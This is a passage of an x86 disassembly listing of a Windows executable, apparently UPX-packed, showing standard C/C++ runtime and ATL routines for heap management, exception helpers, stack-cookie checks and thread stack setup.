[ebp+var_94], 5 mov eax, offset sub_40A716 jnb short loc_40A760 loc_40A75B: ; CODE XREF: sub_40A71A+31j mov eax, offset sub_40A6B1 loc_40A760: ; CODE XREF: sub_40A71A+3Fj push eax push offset off_42A000 call dword_41D0B4 ; InterlockedExchange call off_42A000 mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AC1C leave retn sub_40A71A endp ; =============== S U B R O U T I N E ======================================= sub_40A77E proc near ; CODE XREF: sub_40A859+4p arg_0 = dword ptr 4 mov eax, dword_42E340 cmp eax, 1 push [esp+arg_0] jnz short loc_40A79C push 0 call dword_41D0D0 ; GetProcessHeap push eax call dword_41D0CC ; RtlFreeHeap retn ; --------------------------------------------------------------------------- loc_40A79C: ; CODE XREF: sub_40A77E+Cj push eax call dword_42E344 retn sub_40A77E endp ; =============== S U B R O U T I N E ======================================= sub_40A7A4 proc near ; CODE XREF: sub_40A866+Ap push ebx push 0Ch call dword_41D0E0 ; IsProcessorFeaturePresent test eax, eax jnz short loc_40A7B9 inc eax mov dword_42E340, eax pop ebx retn ; --------------------------------------------------------------------------- loc_40A7B9: ; CODE XREF: sub_40A7A4+Bj push ebp push esi push edi push offset aKernel32_dll_0 ; "kernel32.dll" call dword_41D0DC ; LoadLibraryA mov edi, eax xor ebp, ebp cmp edi, ebp jz short loc_40A7EF mov esi, dword_41D0D8 push offset aInterlockedpus ; "InterlockedPushEntrySList" push edi call esi ; dword_41D0D8 push offset aInterlockedpop ; "InterlockedPopEntrySList" push edi mov dword_42E344, eax call esi ; dword_41D0D8 mov dword_42E348, eax loc_40A7EF: ; CODE XREF: sub_40A7A4+29j cmp dword_42E344, ebp jz short loc_40A852 cmp dword_42E348, ebp jz short loc_40A852 mov eax, large fs:18h mov esi, [eax+30h] add esi, 34h mov eax, [esi] cmp eax, ebp jnz short loc_40A848 mov ebx, dword_41D0D0 push 8 push ebp call ebx ; dword_41D0D0 push eax call dword_41D0D4 ; RtlAllocateHeap mov edi, eax cmp edi, ebp jz short loc_40A852 push ebp push edi push esi mov [edi], ebp mov [edi+4], ebp call dword_41D0C8 ; InterlockedCompareExchange test eax, eax jz short loc_40A846 push edi push ebp call ebx ; dword_41D0D0 push eax call dword_41D0CC ; RtlFreeHeap loc_40A846: ; CODE XREF: sub_40A7A4+95j mov eax, [esi] loc_40A848: ; CODE XREF: sub_40A7A4+6Bj mov dword_42E340, eax xor eax, eax inc eax jmp short loc_40A854 ; --------------------------------------------------------------------------- loc_40A852: ; CODE XREF: sub_40A7A4+51j ; sub_40A7A4+59j ... xor eax, eax loc_40A854: ; CODE XREF: sub_40A7A4+ACj pop edi pop esi pop ebp pop ebx retn sub_40A7A4 endp ; =============== S U B R O U T I N E ======================================= sub_40A859 proc near ; CODE XREF: sub_401E62+28p ; sub_401F64+B9p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40A77E pop ecx retn 4 sub_40A859 endp ; =============== S U B R O U T I N E ======================================= sub_40A866 proc near ; CODE XREF: sub_40A906j cmp dword_42E340, 0 push esi jnz short loc_40A879 call sub_40A7A4 test eax, eax jz short loc_40A8BC loc_40A879: ; CODE XREF: sub_40A866+8j mov eax, dword_42E340 cmp eax, 1 jnz short loc_40A89A push 0Dh push 0 call dword_41D0D0 ; GetProcessHeap push eax call dword_41D0D4 ; RtlAllocateHeap test eax, eax jz short loc_40A8BC pop esi retn ; --------------------------------------------------------------------------- loc_40A89A: ; CODE XREF: sub_40A866+1Bj push eax call dword_42E348 test eax, eax jnz short loc_40A904 push 40h mov eax, 1000h push eax push eax push 0 call dword_41D0E8 ; VirtualAlloc mov esi, eax test esi, esi jnz short loc_40A8C0 loc_40A8BC: ; CODE XREF: sub_40A866+11j ; sub_40A866+30j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40A8C0: ; CODE XREF: sub_40A866+54j mov eax, [esi] push edi push dword_42E340 call dword_42E348 mov edi, eax test edi, edi jz short loc_40A8E7 push 8000h push 0 push esi call dword_41D0E4 ; VirtualFree mov eax, edi jmp short loc_40A903 ; --------------------------------------------------------------------------- loc_40A8E7: ; CODE XREF: sub_40A866+6Dj lea edi, [esi+0FF0h] loc_40A8ED: ; CODE XREF: sub_40A866+99j push esi push dword_42E340 call dword_42E344 add esi, 10h cmp esi, edi jb short loc_40A8ED mov eax, esi loc_40A903: ; CODE XREF: sub_40A866+7Fj pop edi loc_40A904: ; CODE XREF: sub_40A866+3Dj pop esi retn sub_40A866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40A906 proc near ; CODE XREF: sub_4018DB+9p jmp sub_40A866 sub_40A906 endp ; =============== S U B R O U T I N E ======================================= sub_40A90B proc near ; CODE XREF: sub_40AA1C+Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_40A91A loc_40A913: ; CODE XREF: sub_40A90B+12j mov eax, 80070057h jmp short locret_40A92B ; --------------------------------------------------------------------------- loc_40A91A: ; CODE XREF: sub_40A90B+6j cmp dword ptr [eax], 2Ch jnz short loc_40A913 and dword ptr [eax+1Ch], 0 lea ecx, [eax+4] call sub_401154 locret_40A92B: ; CODE XREF: sub_40A90B+Dj retn 4 sub_40A90B endp ; =============== S U B R O U T I N E ======================================= sub_40A92E proc near ; CODE XREF: sub_40A98C+47p ; UPX0:0040AA17j ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40A941 push eax call sub_40ADC8 and dword ptr [esi], 0 pop ecx loc_40A941: ; CODE XREF: sub_40A92E+7j and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 pop esi retn sub_40A92E endp ; =============== S U B R O U T I N E ======================================= sub_40A94B proc near ; CODE XREF: sub_40A98C+2Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_40A960 cmp eax, [ecx+4] jge short loc_40A960 mov ecx, [ecx] lea eax, [ecx+eax*2] retn 4 ; --------------------------------------------------------------------------- loc_40A960: ; CODE XREF: sub_40A94B+6j ; sub_40A94B+Bj push 0 push 0 push 1 push 0C000008Ch call dword_41D1DC ; RaiseException int 3 ; Trap to Debugger loc_40A972: ; CODE XREF: sub_40AA1C+3p push esi mov esi, ecx lea ecx, [esi+4] call sub_401144 xor eax, eax mov [esi+20h], eax mov [esi+24h], eax mov [esi+28h], eax mov eax, esi pop esi retn sub_40A94B endp ; =============== S U B R O U T I N E ======================================= sub_40A98C proc near ; CODE XREF: UPX0:0040AAFBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_40A99C loc_40A995: ; CODE XREF: sub_40A98C+19j mov eax, 80070057h jmp short loc_40A9E8 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A98C+7j mov eax, [esi] test eax, eax jz short loc_40A9E6 cmp eax, 2Ch jnz short loc_40A995 push edi xor edi, edi cmp [esi+24h], edi jle short loc_40A9D0 push ebx lea ebx, [esi+20h] loc_40A9B3: ; CODE XREF: sub_40A98C+41j push edi mov ecx, ebx call sub_40A94B movzx eax, word ptr [eax] push [esp+0Ch+arg_4] push eax call dword_41D2E0 ; UnregisterClassA inc edi cmp edi, [esi+24h] jl short loc_40A9B3 pop ebx loc_40A9D0: ; CODE XREF: sub_40A98C+21j lea ecx, [esi+20h] call sub_40A92E lea eax, [esi+4] push eax call dword_41D1C8 ; RtlDeleteCriticalSection and dword ptr [esi], 0 pop edi loc_40A9E6: ; CODE XREF: sub_40A98C+14j xor eax, eax loc_40A9E8: ; CODE XREF: sub_40A98C+Ej pop esi retn 8 sub_40A98C endp ; =============== S U B R O U T I N E ======================================= sub_40A9EC proc near ; CODE XREF: sub_40AA42+18p push esi mov esi, ecx lea ecx, [esi+18h] call sub_401144 xor eax, eax mov [esi+30h], eax mov [esi+34h], eax mov [esi+38h], eax mov eax, esi pop esi retn sub_40A9EC endp ; --------------------------------------------------------------------------- loc_40AA06: ; CODE XREF: UPX0:0041C8B2j push esi mov esi, ecx lea eax, [esi+18h] push eax call dword_41D1C8 ; RtlDeleteCriticalSection lea ecx, [esi+30h] pop esi jmp sub_40A92E ; =============== S U B R O U T I N E ======================================= sub_40AA1C proc near ; CODE XREF: UPX0:0041C865p push esi mov esi, ecx call loc_40A972 push esi mov dword ptr [esi], 2Ch call sub_40A90B test eax, eax jge short loc_40AA3E mov byte_42EE8C, 1 and dword ptr [esi], 0 loc_40AA3E: ; CODE XREF: sub_40AA1C+16j mov eax, esi pop esi retn sub_40AA1C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_40AA42 proc near ; CODE XREF: UPX0:0041C84Fp var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 98h mov eax, dword_42A034 xor eax, ebp mov [ebp+78h+var_4], eax push esi mov esi, ecx call sub_40A9EC mov eax, 400000h push 94h mov [esi+8], eax mov [esi+4], eax lea eax, [ebp+78h+var_98] push 0 push eax mov dword ptr [esi], 3Ch mov byte ptr [esi+0Ch], 0 call sub_40BD40 add esp, 0Ch lea eax, [ebp+78h+var_98] push eax mov [ebp+78h+var_98], 94h call dword_41D0C4 ; GetVersionExA cmp [ebp+78h+var_88], 2 jnz short loc_40AAA6 cmp [ebp+78h+var_94], 5 jb short loc_40AABE jmp short loc_40AABA ; --------------------------------------------------------------------------- loc_40AAA6: ; CODE XREF: sub_40AA42+5Aj cmp [ebp+78h+var_88], 1 jnz short loc_40AABE cmp [ebp+78h+var_94], 4 ja short loc_40AABA jnz short loc_40AABE cmp [ebp+78h+var_90], 0 jbe short loc_40AABE loc_40AABA: ; CODE XREF: sub_40AA42+62j ; sub_40AA42+6Ej mov byte ptr [esi+0Ch], 1 loc_40AABE: ; CODE XREF: sub_40AA42+60j ; sub_40AA42+68j ... lea ecx, [esi+18h] mov dword ptr [esi+10h], 800h mov dword ptr [esi+14h], offset dword_41D4B8 call sub_401154 test eax, eax jge short loc_40AADF mov byte_42EE8C, 1 loc_40AADF: ; CODE XREF: sub_40AA42+94j mov ecx, [ebp+78h+var_4] mov eax, esi xor ecx, ebp pop esi call sub_40AC1C add ebp, 78h leave retn sub_40AA42 endp ; --------------------------------------------------------------------------- loc_40AAF1: ; CODE XREF: UPX0:0041C8BCj push esi push dword_42E350 mov esi, ecx push esi call sub_40A98C lea ecx, [esi+20h] pop esi jmp sub_40A92E ; --------------------------------------------------------------------------- loc_40AB09: ; CODE XREF: UPX0:0041C8C6j push esi mov esi, ecx cmp dword ptr [esi], 0 jz short loc_40AB49 push ebx mov ebx, [esi+8] cmp ebx, [esi+0Ch] jnb short loc_40AB3B push edi loc_40AB1B: ; CODE XREF: UPX0:0040AB38j mov edi, [ebx] test edi, edi jz short loc_40AB32 mov eax, [edi+10h] test eax, eax jz short loc_40AB2E mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40AB2E: ; CODE XREF: UPX0:0040AB26j and dword ptr [edi+10h], 0 loc_40AB32: ; CODE XREF: UPX0:0040AB1Fj add ebx, 4 cmp ebx, [esi+0Ch] jb short loc_40AB1B pop edi loc_40AB3B: ; CODE XREF: UPX0:0040AB18j lea eax, [esi+10h] push eax call dword_41D1C8 ; RtlDeleteCriticalSection and dword ptr [esi], 0 pop ebx loc_40AB49: ; CODE XREF: UPX0:0040AB0Fj pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB4B proc near ; CODE XREF: UPX0:0041C87Bp push esi mov esi, ecx push edi lea edi, [esi+10h] mov ecx, edi call sub_401144 and dword ptr [esi], 0 mov ecx, edi mov dword ptr [esi+4], 400000h mov dword ptr [esi+8], offset dword_427CF8 mov dword ptr [esi+0Ch], offset dword_427CF8 call sub_401154 test eax, eax jge short loc_40AB85 mov byte_42EE8C, 1 jmp short loc_40AB8B ; --------------------------------------------------------------------------- loc_40AB85: ; CODE XREF: sub_40AB4B+2Fj mov dword ptr [esi], 28h loc_40AB8B: ; CODE XREF: sub_40AB4B+38j pop edi mov eax, esi pop esi retn sub_40AB4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40AB90 proc near ; CODE XREF: sub_41889D+121p jmp dword_41D24C sub_40AB90 endp ; =============== S U B R O U T I N E ======================================= sub_40AB96 proc near ; CODE XREF: sub_405A92+Dp ; sub_4060AE+Bp ... push 44h mov eax, offset loc_41BED4 call sub_40C46D push offset aStringTooLong ; "string too long" lea ecx, [ebp-28h] call sub_405138 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_404A7D push offset dword_426E48 lea eax, [ebp-50h] push eax call sub_40C03B int 3 ; Trap to Debugger sub_40AB96 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40ABCE proc near ; CODE XREF: sub_405446+13p ; sub_405A07+Fp ... push 44h mov eax, offset loc_41BED4 call sub_40C46D push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-28h] call sub_405138 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_404AC2 push offset dword_426E0C lea eax, [ebp-50h] push eax call sub_40C03B int 3 ; Trap to Debugger sub_40ABCE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC06 proc near ; CODE XREF: sub_4019F2+5Ap ; sub_406CDA+37p ... mov edi, edi push ebp mov ebp, esp pop ebp jmp sub_40B45F sub_40AC06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC11 proc near ; CODE XREF: UPX0:004049BDp ; UPX0:00404A71p ... mov edi, edi push ebp mov ebp, esp pop ebp jmp sub_40ADC8 sub_40AC11 endp ; =============== S U B R O U T I N E ======================================= sub_40AC1C proc near ; CODE XREF: sub_40120D+4Ap ; sub_4016D2+188p ... cmp ecx, dword_42A034 jnz short loc_40AC26 rep retn ; --------------------------------------------------------------------------- loc_40AC26: ; CODE XREF: sub_40AC1C+6j jmp sub_40C52F sub_40AC1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC2B proc near ; CODE XREF: sub_406DD8+F3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h mov edi, edi push ebp mov ebp, esp lea eax, [ebp+arg_C] push eax push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C9A3 add esp, 14h pop ebp retn sub_40AC2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC49 proc near ; CODE XREF: sub_4049E5+Fp ; sub_4064F7+60p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_C] push esi push edi xor edi, edi cmp eax, edi jz short loc_40ACA0 cmp [ebp+arg_0], edi jnz short loc_40AC79 loc_40AC5E: ; CODE XREF: sub_40AC49+33j call sub_40C862 push 16h pop esi mov [eax], esi loc_40AC68: ; CODE XREF: sub_40AC49+46j push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h mov eax, esi jmp short loc_40ACA2 ; --------------------------------------------------------------------------- loc_40AC79: ; CODE XREF: sub_40AC49+13j cmp [ebp+arg_8], edi jz short loc_40AC5E cmp [ebp+arg_4], eax jnb short loc_40AC91 call sub_40C862 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_40AC68 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC49+38j push eax push [ebp+arg_8] push [ebp+arg_0] call sub_40CA30 add esp, 0Ch loc_40ACA0: ; CODE XREF: sub_40AC49+Ej xor eax, eax loc_40ACA2: ; CODE XREF: sub_40AC49+2Ej pop edi pop esi pop ebp retn sub_40AC49 endp ; =============== S U B R O U T I N E ======================================= sub_40ACA6 proc near ; CODE XREF: sub_404A01+11p mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax+8], 0 mov dword ptr [eax], offset off_41D534 retn sub_40ACA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ACB7 proc near ; CODE XREF: sub_40668D+2Fp ; sub_406FCF+2Fp ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx mov dword ptr [edi], offset off_41D534 mov eax, [ebx] test eax, eax jz short loc_40ACF6 push eax call sub_40BFB0 mov esi, eax inc esi push esi call sub_40AEA5 pop ecx pop ecx mov [edi+4], eax test eax, eax jz short loc_40ACFA push dword ptr [ebx] push esi push eax call sub_40CD95 add esp, 0Ch jmp short loc_40ACFA ; --------------------------------------------------------------------------- loc_40ACF6: ; CODE XREF: sub_40ACB7+17j and dword ptr [edi+4], 0 loc_40ACFA: ; CODE XREF: sub_40ACB7+2Fj ; sub_40ACB7+3Dj mov dword ptr [edi+8], 1 mov eax, edi pop edi pop esi pop ebx pop ebp retn 4 sub_40ACB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD0A proc near ; CODE XREF: sub_40B444+Cp arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, ecx mov ecx, [ebp+arg_0] mov dword ptr [eax], offset off_41D534 mov ecx, [ecx] and dword ptr [eax+8], 0 mov [eax+4], ecx pop ebp retn 8 sub_40AD0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD27 proc near ; CODE XREF: sub_404B1F+15p ; sub_407019+7p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi mov esi, ecx mov dword ptr [esi], offset off_41D534 mov eax, [ebx+8] mov [esi+8], eax test eax, eax mov eax, [ebx+4] push edi jz short loc_40AD78 test eax, eax jz short loc_40AD72 push eax call sub_40BFB0 mov edi, eax inc edi push edi call sub_40AEA5 pop ecx pop ecx mov [esi+4], eax test eax, eax jz short loc_40AD7B push dword ptr [ebx+4] push edi push eax call sub_40CD95 add esp, 0Ch jmp short loc_40AD7B ; --------------------------------------------------------------------------- loc_40AD72: ; CODE XREF: sub_40AD27+22j and dword ptr [esi+4], 0 jmp short loc_40AD7B ; --------------------------------------------------------------------------- loc_40AD78: ; CODE XREF: sub_40AD27+1Ej mov [esi+4], eax loc_40AD7B: ; CODE XREF: sub_40AD27+3Aj ; sub_40AD27+49j ... pop edi mov eax, esi pop esi pop ebx pop ebp retn 4 sub_40AD27 endp ; =============== S U B R O U T I N E ======================================= sub_40AD84 proc near ; CODE XREF: sub_40499C+6j ; UPX0:004049B0p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41D534 jz short locret_40AD99 push dword ptr [ecx+4] call sub_40ADC8 pop ecx locret_40AD99: ; CODE XREF: sub_40AD84+Aj retn sub_40AD84 endp ; =============== S U B R O U T I N E ======================================= sub_40AD9A proc near ; DATA XREF: UPX0:0041D4E0o ; UPX0:0041D538o ... mov eax, [ecx+4] test eax, eax jnz short locret_40ADA6 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_40ADA6: ; CODE XREF: sub_40AD9A+5j retn sub_40AD9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADA7 proc near ; DATA XREF: UPX0:off_41D534o arg_0 = byte ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, ecx call sub_40AD84 test [ebp+arg_0], 1 jz short loc_40ADC1 push esi call sub_40AC11 pop ecx loc_40ADC1: ; CODE XREF: sub_40ADA7+11j mov eax, esi pop esi pop ebp retn 4 sub_40ADA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADC8 proc near ; CODE XREF: sub_401000+14p ; sub_401304+102p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0040AE27 SIZE 0000002F BYTES push 0Ch push offset dword_4267D8 call __SEH_prolog4 mov esi, [ebp+arg_0] test esi, esi jz short loc_40AE50 cmp dword_430290, 3 jnz short loc_40AE27 push 4 call sub_40CFA9 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_40CFDC pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_40AE07 push esi push eax call sub_40D00C pop ecx pop ecx loc_40AE07: ; CODE XREF: sub_40ADC8+34j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40AE1E cmp [ebp+var_1C], 0 jnz short loc_40AE50 push [ebp+arg_0] jmp short loc_40AE28 sub_40ADC8 endp ; =============== S U B R O U T I N E ======================================= sub_40AE1E proc near ; CODE XREF: sub_40ADC8+46p ; DATA XREF: UPX0:004267F0o push 4 call sub_40CECF pop ecx retn sub_40AE1E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40ADC8 loc_40AE27: ; CODE XREF: sub_40ADC8+1Aj push esi loc_40AE28: ; CODE XREF: sub_40ADC8+54j push 0 push dword_42E724 call dword_41D0CC ; RtlFreeHeap test eax, eax jnz short loc_40AE50 call sub_40C862 mov esi, eax call dword_41D1D8 ; RtlGetLastWin32Error push eax call sub_40C820 mov [esi], eax pop ecx loc_40AE50: ; CODE XREF: sub_40ADC8+11j ; sub_40ADC8+4Fj ... call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_40ADC8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE56 proc near ; CODE XREF: sub_40AEA5+59p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_4267F8 call __SEH_prolog4 and [ebp+var_1C], 0 mov esi, [ebp+arg_0] cmp esi, dword_430280 ja short loc_40AE93 push 4 call sub_40CFA9 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_40D7BB pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40AE9C loc_40AE93: ; CODE XREF: sub_40AE56+19j mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_40AE56 endp ; =============== S U B R O U T I N E ======================================= sub_40AE9C proc near ; CODE XREF: sub_40AE56+38p ; DATA XREF: UPX0:00426810o push 4 call sub_40CECF pop ecx retn sub_40AE9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEA5 proc near ; CODE XREF: sub_401304+8Ap ; sub_40A495+4p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] cmp esi, 0FFFFFFE0h ja loc_40AF58 push ebx push edi mov edi, dword_41D0D4 loc_40AEBF: ; CODE XREF: sub_40AEA5+9Aj cmp dword_42E724, 0 jnz short loc_40AEE0 call sub_40DF83 push 1Eh call sub_40DDD8 push 0FFh call sub_40DB24 pop ecx pop ecx loc_40AEE0: ; CODE XREF: sub_40AEA5+21j mov eax, dword_430290 cmp eax, 1 jnz short loc_40AEF8 test esi, esi jz short loc_40AEF2 mov eax, esi jmp short loc_40AEF5 ; --------------------------------------------------------------------------- loc_40AEF2: ; CODE XREF: sub_40AEA5+47j xor eax, eax inc eax loc_40AEF5: ; CODE XREF: sub_40AEA5+4Bj push eax jmp short loc_40AF14 ; --------------------------------------------------------------------------- loc_40AEF8: ; CODE XREF: sub_40AEA5+43j cmp eax, 3 jnz short loc_40AF08 push esi call sub_40AE56 pop ecx test eax, eax jnz short loc_40AF1E loc_40AF08: ; CODE XREF: sub_40AEA5+56j test esi, esi jnz short loc_40AF0D inc esi loc_40AF0D: ; CODE XREF: sub_40AEA5+65j add esi, 0Fh and esi, 0FFFFFFF0h push esi loc_40AF14: ; CODE XREF: sub_40AEA5+51j push 0 push dword_42E724 call edi ; dword_41D0D4 loc_40AF1E: ; CODE XREF: sub_40AEA5+61j mov ebx, eax test ebx, ebx jnz short loc_40AF52 push 0Ch pop esi cmp dword_42EBC8, eax jz short loc_40AF44 push [ebp+arg_0] call sub_40DFCB pop ecx test eax, eax jz short loc_40AF4B mov esi, [ebp+arg_0] jmp loc_40AEBF ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: sub_40AEA5+88j call sub_40C862 mov [eax], esi loc_40AF4B: ; CODE XREF: sub_40AEA5+95j call sub_40C862 mov [eax], esi loc_40AF52: ; CODE XREF: sub_40AEA5+7Dj pop edi mov eax, ebx pop ebx jmp short loc_40AF6C ; --------------------------------------------------------------------------- loc_40AF58: ; CODE XREF: sub_40AEA5+Cj push esi call sub_40DFCB pop ecx call sub_40C862 mov dword ptr [eax], 0Ch xor eax, eax loc_40AF6C: ; CODE XREF: sub_40AEA5+B1j pop esi pop ebp retn sub_40AEA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF6F proc near ; CODE XREF: sub_401040+54p var_54 = byte ptr -54h var_50 = dword ptr -50h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp sub esp, 54h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx push esi push edi push 4 pop eax call sub_40E000 mov [ebp+var_C], esp push 1Ch lea eax, [ebp+var_30] push eax push [ebp+var_C] call dword_41D1B8 ; VirtualQuery test eax, eax jz loc_40B049 mov eax, [ebp+var_2C] mov [ebp+var_10], eax lea eax, [ebp+var_54] push eax call dword_41D1E4 ; GetSystemInfo mov edi, [ebp+var_50] push offset aKernel32_dll ; "kernel32.dll" xor esi, esi call dword_41D078 ; GetModuleHandleW cmp eax, esi jz short loc_40AFF1 push offset aSetthreadstack ; "SetThreadStackGuarantee" push eax call dword_41D0D8 ; GetProcAddress cmp eax, esi jz short loc_40AFF1 lea ecx, [ebp+var_8] push ecx mov [ebp+var_8], esi call eax pop ecx cmp eax, 1 jnz short loc_40AFF1 cmp [ebp+var_8], esi jbe short loc_40AFF1 mov esi, [ebp+var_8] loc_40AFF1: ; CODE XREF: sub_40AF6F+59j ; sub_40AF6F+69j ... lea eax, [edi-1] lea ebx, [esi+edi-1] not eax and ebx, eax jz short loc_40B000 add ebx, edi loc_40B000: ; CODE XREF: sub_40AF6F+8Dj lea eax, [edi+edi] cmp ebx, eax jnb short loc_40B009 mov ebx, eax loc_40B009: ; CODE XREF: sub_40AF6F+96j mov eax, [ebp+var_10] lea esi, [edi-1] not esi and esi, [ebp+var_C] add edi, eax sub esi, ebx cmp esi, edi jb short loc_40B049 push 4 push 1000h push ebx push esi call dword_41D0E8 ; VirtualAlloc test eax, eax jz short loc_40B049 lea eax, [ebp+var_14] push eax push 104h push ebx push esi call dword_41D1E8 ; VirtualProtect test eax, eax jz short loc_40B049 xor eax, eax inc eax jmp short loc_40B04B ; --------------------------------------------------------------------------- loc_40B049: ; CODE XREF: sub_40AF6F+31j ; sub_40AF6F+ABj ... xor eax, eax loc_40B04B: ; CODE XREF: sub_40AF6F+D8j lea esp, [ebp-60h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AC1C leave retn sub_40AF6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B05D proc near ; CODE XREF: sub_40B106+12p ; sub_40B353+12p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 14h push offset dword_426818 call __SEH_prolog4 and [ebp+ms_exc.disabled], 0 loc_40B06D: ; CODE XREF: sub_40B05D+21j dec [ebp+arg_8] js short loc_40B0AC mov ecx, [ebp+arg_0] sub ecx, [ebp+arg_4] mov [ebp+arg_0], ecx call [ebp+arg_C] jmp short loc_40B06D ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov [ebp+var_1C], eax mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+var_20] cmp dword ptr [eax], 0E06D7363h jz short loc_40B0A4 mov [ebp+var_24], 0 mov eax, [ebp+var_24] retn ; --------------------------------------------------------------------------- loc_40B0A4: ; CODE XREF: sub_40B05D+3Aj call sub_40E02B mov esp, [ebp+ms_exc.old_esp] loc_40B0AC: ; CODE XREF: sub_40B05D+13j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call __SEH_epilog4 retn 10h sub_40B05D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0BB proc near ; CODE XREF: sub_401B6E+2Fp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset dword_426838 call __SEH_prolog4 and [ebp+var_1C], 0 mov esi, [ebp+arg_4] mov eax, esi imul eax, [ebp+arg_8] add [ebp+arg_0], eax and [ebp+ms_exc.disabled], 0 loc_40B0DB: ; CODE XREF: sub_40B0BB+2Ej dec [ebp+arg_8] js short loc_40B0EB sub [ebp+arg_0], esi mov ecx, [ebp+arg_0] call [ebp+arg_C] jmp short loc_40B0DB ; --------------------------------------------------------------------------- loc_40B0EB: ; CODE XREF: sub_40B0BB+23j mov [ebp+var_1C], 1 mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40B106 call __SEH_epilog4 retn 10h sub_40B0BB endp ; =============== S U B R O U T I N E ======================================= sub_40B106 proc near ; CODE XREF: sub_40B0BB+3Ep ; DATA XREF: UPX0:00426850o cmp dword ptr [ebp-1Ch], 0 jnz 